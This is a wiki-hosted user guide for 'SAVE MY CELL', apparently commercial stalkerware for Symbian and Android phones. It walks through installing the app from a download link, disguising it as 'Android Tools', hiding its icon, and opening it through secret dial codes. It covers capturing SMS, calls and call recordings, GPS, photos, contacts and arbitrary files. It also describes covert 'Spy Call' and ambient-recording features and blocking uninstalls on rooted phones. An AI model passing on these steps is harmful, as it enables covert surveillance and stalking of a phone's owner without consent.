User:Idssngp/sandbox

SAVE MY CELL
Here you will find a complete user guide for SAVE MY CELL (here after in documents SMC) and the report server.

The minimum requirements for working with SMC service

 * smartphone runing Symbian OS 9.x, Symbian^3, Symbian Anna/Belle, Android 2.1 and higher;
 * SIM card account must have GPRS/EDGE/3G internet access enabled.

Three steps to start
Install SMC

Create an account on the report server

Activate a phone

Documentation
Symbian application user guide

Android application user guide

Working with report server

Order of SMS commands

Appendix
Android 4.x ICS Notes

The list of compatible phones (Symbian)

Troubleshooting

Download
The latest version of Symbian SMC 2.01(10)

The latest version of Android SMC 2.3.3

What is your phone platform?
Installing the application in the Symbian Phone

Installing the application in the Android Phone

Installation SMC on smartphones running Symbian
The installation process does not differ from installing any other Symbian application. There are two ways to install SMC: through internet by entering address http://reports.savemycell.info/getapp in the browser of your phone, or through cable, previously downloaded SMC on your computer.

During installation, a couple of warnings will be shown that should be read and if you agree, click OK. After installation the program will start automatically and will ask the following question: “Allow autostart on the phone reboot?”. You should answer Yes. Otherwise to run the application after rebooting the phone, it will be neccessary to be reinstalled.

Now installation is complete. Now you need to activate phone in the system. You should register (if you have not registered yet) on the report server http://reports.savemycell.info to be able activate the phone.

Installing the application in an Android phone
You can install the application in a phone running OS Android 2.1 and higher. Firstly you have to enable the phone to install non-Market applications.

To do so, tap “Settings” on your Home screen, then tap “Applications”.

Tap checkbox next to “Unknown sources” to enable the installation non-Market applications in the next screen.

Now you can return to your Home screen.

Then tap on the Browser icon, then enter http://reports.savemycell.info/getapp and go.

The application will be downloaded to your memory card automatically.

Once the downloading is complete, tap the “backupme.apk” to start the installation.

Tap on the “Install” to continue in the next screen.

Once the installation is complete you can return to the Home screen.

Registration on the report server
Registration will not take more than 3 minutes on the report server.

To register you should click on the link http://reports.savemycell.info/auth/signup and fill out the registration form.

All fields are mandatory.

After you registered, you may enter your account and proceed to the activation into the system.

Activating a phone in the system
The phone should be activated to begin to record events and send data to the server.

For activating you will need so-called Subscription ID (12 digit number).

Subscription ID you can find in profile of your account on the report server, see «My Subscriptions» section.

After registration, the first Subscription ID with 3-day trial period is automatically generated by in your account.

This means that you can use the service first three days for free.

Activating a Symbian phone
After installing the application on the phone, when you first start screen shows the message with the question to activate the phone in the system.

To activate, press «Options»→«Activation» and then enter a valid Subscription ID and press OK.

SMC will connect to the server and after successful activation will be shown the appropriate message.

Activating an Android phone
Before the application starts capturing events, you should activate the phone. While the phone is not activated, you can open the application by dialing:


 * 911911911911#, then call

Also the application can be launched through the launch menu by tapping the icon “Android Tools”.

The icon can be hidden through the application settings.

It is the only way to launch the application for the first time for the phones running Android 4.x ICS.

See Android 4.x ICS Notes.

To activate a phone enter the Subscription ID in the next screen.

Once the phone is activated, you can open the application by dialing:


 * Subscription-ID#, then call

After activation

If activation is successful, update your profile page in the browser.

The line with information of activated phone must appear in «My Devices» section.

Also in «My Subscriptions» in line with your Subscription ID should appear corresponding entries in columns “Device (IMEI)” and “Device (model)”.

Possible errors

The following errors may occur during activation:

User Guide for phones running Symbian
Installation

The installation process is described here.

Important: SMC does not install an icon in the folder with other installed applications. After installation, for the first run, main application menu opens automatically.

At this point you need to activate phone in the system. Subsequently, to open the menu you need to dial:


 * Subscription-ID, then call, then reset

Uninstalling

To remove the application from the phone, you should:

Open Application Manager.

The path to the application manager may vary on different phone models.

Refer to the manual of your phone to find out exactly how to open the application manager.

To find BackupMe in the list of installed applications.

Press «Options»→«Uninstall».

If at the removal time your phone was not deactivated, Subscription ID is requested.

At the request you must enter the Subscription ID, which you activated the phone.

Activation
Phone activation process is described here.

Deactivation
All the time until the subscription is valid, you can change the phone unlimited number of times. Before you activate a new phone, you must free Subscription ID from your current phone, ie. to deactivate it. You can deactivate the phone in two ways:

Directly from the application menu. To deactivate you must open the application menu, then press «Options»→«Deactivate». In "My Devices" section of your account profile on the report server.

Application interface
After successful activation the main application window consists of a main menu and two soft keys «Options» and «Hide». By clicking the «Hide» key GUI is closed, but SMC continues working and records events according to your settings. To open the menu again you should dial the phone:


 * Subscription-ID, then call, then reset

Menu "Options"
Options menu consists of seven items.

Deactivate Deactivates the device. After deactivation you have opportunity to activate another phone with the same Subscription ID. All the registered events and the phone after deactivation are not deleted from the server. You can delete the phone (all the events) from the server, at “My Devices” section of your account profile.

Select Access Point Here you can select an access point through which the application will connect to the server. You can choose “Auto”. Then the program will try to find a working access point by enumerating. In phones with Symbian v.9.3 (S60 3rd Edition FP2) and later the list of available access points is taken from the destination “Internet” in network settings of the phone. In earlier phone models all the available access points are listed. It is recommended manual selecting access point for such phones.

Autostart Enable/disable automatic launching the application after rebooting the phone. If autostart is disabled, then after exiting the program or rebooting the phone, the only way to run the application again is to install it again.

Send events immediately It allows to send all logged events to the server.

List of numbers It displays a list of numbers which is used when determining whether it is allowed to register the event.

About It displays information about the program: name, version, IMEI of the phone, memory status, current access point, number of records in the database, the last attempt to connect to the server.

Exit Exiting the program. The application completely stops working. To run the program again you should restart the phone (if autostart is allowed), or reinstall the application.

SMC settings description
All settings are assembled in 4 groups:

Events - settings of the recorded events, mode and uploading time to the server. GPS - setting interval updating of GPS data. Master-phone - settings of the phone number which receives notifications and from which a Spy Call is made. Settings - other options that did not get into one of the previous groups.

Events
Settings group «Events» contains following options:

GPS

GPS Group has only one option - the «GPS Update Interval». This option is available only on phones equipped with GPS receiver. Possible values:


 * Off.


 * 10 seconds


 * 30 seconds


 * 1 minute


 * 5 minutes


 * 15 minutes


 * 30 minutes

There are different ways to determine location on different phone models.

This may be a built-in GPS receiver and/or A-GPS, or network based.

A brief description of each of the methods shown in the table below:

If GPS and A-GPS are enabled at the same time, SMC will always use A-GPS as a primary module.

Master Phone

In this group you can set up a phone number which will receive SMS notifications and from which Spy Call will be made.

Options are described in the table below:

Note: before using a Spy Call you should disable «Summary after call» option in the phone settings. Usually this parameter is here: «Menu»→«Settings»→«Phone»→«Phone Call»→«Summary after call».

Settings

In the «Settings» group assembled options that did not get into one of the previous groups.

Android devices user guide
The Application User Interface

Once the phone is activated, the application UI is shown as following:

To open the application, after the phone was activated, you have to dial:


 * Subscription-ID#, then call

'The Options Menu'

Deactivating Deactivate the phone. Once the phone is deactivated, the Subscription ID is released. It gives you an opportunity to activate another phone.

Uploading Uploads all collected events to your account at web reports site.

Clear DB Removes all collected events from the application database. All the not uploaded data is lost.

About Shows a dialog which contains the application version, time of last uploading, amount of records in the application database.

'The Application Settings' Hide icon Hides the application icon. Some of the phones has to be rebooted after the option is turned on.

Uploading mode Defines uploading mode: periodically or once a day.

Uploading interval This option defines how often events are uploaded. The value depends on Uploading Mode. If uploading mode is “Periodically”, events are uploaded periodically from once an hour to once at 24 hours. If uploading mode is “At specified time”, events are uploaded once a day at specified time.

Maximum events This option also affects on uploading frequency. It defines the maximum number of recorded events. When it is reached all data are uploaded to your account without waiting the time, which is set in Uploading Interval”. For this option the following events are counted: SMS, MMS, voice calls, environment records, file requests.

SMS Enable/disable SMS logging.

Calls Enable/disabel voice calls logging.

Cell IDs Enable/disable cell IDs logging.

MMS Enable/disable MMS logging.

Camera Enable/disable camera shots logging

Contacts Enable/disable backup the phonebook to your account

GPS logging interval Sets the interval between GPS coordinates updates.

Phone number for notifications This option stores the phone number which will receive SMS notifications about SIM card changing. Leave this fieled blank to avoid SMS notifications sending.

Call recording Enable/disable coversation recording

Conversation audio source It defines the audio source during conversation recording. It may be a microphone or a voice line. A lot of phone vendors don't give possibility to record audio stream from the voice line. Therefore if “Voice line” is set, but there is no records in your account, set this option to “Microphone”.

System application This option prevents the aplication uninstalling. This feature works with rooted phone only. Once the “System application” is turned on, the application can be uninstalled from the application options menu.

Deactivation a phone

All the time until the subscription is valid, you can change the phone unlimited number of times. Before you activate a new phone, you must free Subscription ID from your current one, ie. to deactivate it. You can deactivate the phone in two ways:

Directly from the application menu. To do so, open the application, then tap “Menu”→“Deactivate” In "My Devices" section of your account profile on the report server.

Profile Account Description
When you log into your account for the first time or if you do not have any active (registered) phone you'll always get on your profile page with such message: To start using service you need to activate at least one telephone. The activation process is described here.

Profile page of your account contains several sections:

My personal data

Here are shown your email address you entered during registration (can not be changed). Also in this section, you can optionally specify your name.

Change Password

Here you can change your password for your account.

Relay

Here you can specify your email address, which will receive duplicated uploaded events from the phone.

My Devices

In this section are listed all of your phones that were registered in the system. Phones that are not currently active (ie not bound to any Subscription ID) marked as « Inactive ». Registered events from these phones will not be uploaded to the server. In this section you can deactivate an active phone, or even remove it from the system with all events.

My Subscriptions

Here are listed all your subscriptions and phone communication with subscription. Each subscription is identified by a so-called Subscription ID. To bind a subscription to your phone, it is necessary to activate your phone. While the subscription is bound to the phone it is impossible to activate another phone with this Subscription ID. To release subscription for another phone, you need to deactivate the current device. It can be deactivated from the application menu or from your account profile.

Subscription has validity

When you create account the first subscription with a 3-day trial period is generated. During this period you can use the service without any restrictions. After subscription expiration it needs to be extended. To extend your subscription you must purchase a Voucher (16-digit alphanumeric code), and then click Renew subscription and enter the voucher code in the appeared field: Subscription can be extended when its period is not expired. In this case, the remaining days are added to the bought subscription period.

Only one phone can be active with one Subscription ID. To activate two or more phones at the same time you need to add new subscriptions. To add a new subscription, click «Add a new subscription» enter the Voucher Code in the appeared field.

Deactivate a phone from your profile account In addition to application menu the phone can be deactivated from the profile account. You should click «Deactivate» to deactivate the phone in the related row in «My Devices» section. After, the registered events are not uploaded to the server from this phone. Also you would be able to activate another phone with released Subscription ID.

IMPORTANT! Reactivating the phone is possible only directly from the application menu on the phone.

Reports page description

When at least one phone is activated, reports page become available. If the latest version of SMC phone is running the navigation menu on the left will look as:

Settings From this page you can view and modify application settings on the phone. All the settings correspond to the settings described in the SMC user guide for corresponding phone on this page. Here we review in details only one group options, because they can not be changed on the phone -

Catching mode settings

In this settings block you can specify whether to log events for all contacts or only which mentioned in the list. Also is possible such a mode when all contacts events are recorded except those in the list. Thus, you can significantly reduce the consumed traffic by excluding unwanted events.

There are some features when you change the settings of your account:

Settings are updated not instantly on the phone, but during the next connection with the server. Not to wait for the next session you can send to your phone SMS command to request settings from the server. If there were made changes both in your account and directly on the phone then when connecting the phone to the server settings in the phone will be overwritten the settings from the server.

Contacts list At first (and every) startup, SMC generates a list of contacts on the phone, which is then uploaded to the server. Contacts list is updated once a day.

File system SMC allows you to create a copy of the phone file system tree (except disk Z:) and send it to the server. Please note that this operation is quite resource-intensive and uploading the tree can take quite a long time. Likewise, this operation can take several megabytes of traffic. After the file system tree is completely uploaded, you can request any available file. You simply should click on the file and after the request is added to the report <Files from device». The file would be uploaded to the server at the next connection.

Report "All" This report displays all registered events in the phone they are sorted in descending order of registration time on the phone (by default). To open a detailed event description you must click on a corresponding line of the report.

Report "SMS" This report shows recorded SMS on your phone.

Report "Voice calls" This report shows recorded voice calls from the phone. Those calls, which have records are indicated with attachments. As records are uploaded separately from the call information sometimes instead of link to the record may be shown a message «Have not uploaded yet». This means that the call recording has not been uploaded yet from the phone to the server. If there is a large number of calls and/or long records uploading delay may be from several hours to several days (depending on connection speed of the phone and uploading settings).

Report "MMS" This report shows recorded MMS on your phone.

Report "Cell IDs" This report displays information about Cell IDs on which the phone was registered. It is possible to request coordinates of the cell ID in event details. At the moment, the coordinates of cell ID are provided by OpenCellID.org service. Unfortunately, the coordinate database of cell IDs may contain some errors or the coordinates of your cell IDs may not be available at all. Therefore, this feature is provided as is without any warranties.

Report "GPS" This report shows recorded GPS coordinates on your phone.

Report "Environment records" This report displays Environment records created by using SMS commands #13. All features of calls records uploading also concerns this report.

Report "Camera" This report shows recorded shots on camera phone. In general SMC controls not directly camera but Images directory on disk C: and E:. Therefore, in this report may appear any images that were created in this folder.

Report "Files from the device" This report displays downloaded files from the phone. In order to download any file that exists on the phone and has access, you must create a request with the full path to this file. Request can be created in two ways:

By clicking the button, then entering the full path to the file on the phone. By clicking on necessary file in the dialog window «File System». If the file exists and has access it is uploaded during the next connection to the server.

Report "Phone reboots" This report displays the recorded events about turning off and on the phone. These events are recorded during DE closing and starting. Therefore, if the rebooting event is in the report it does not always mean that the phone was switched off or rebooted. Although in most cases this will be so.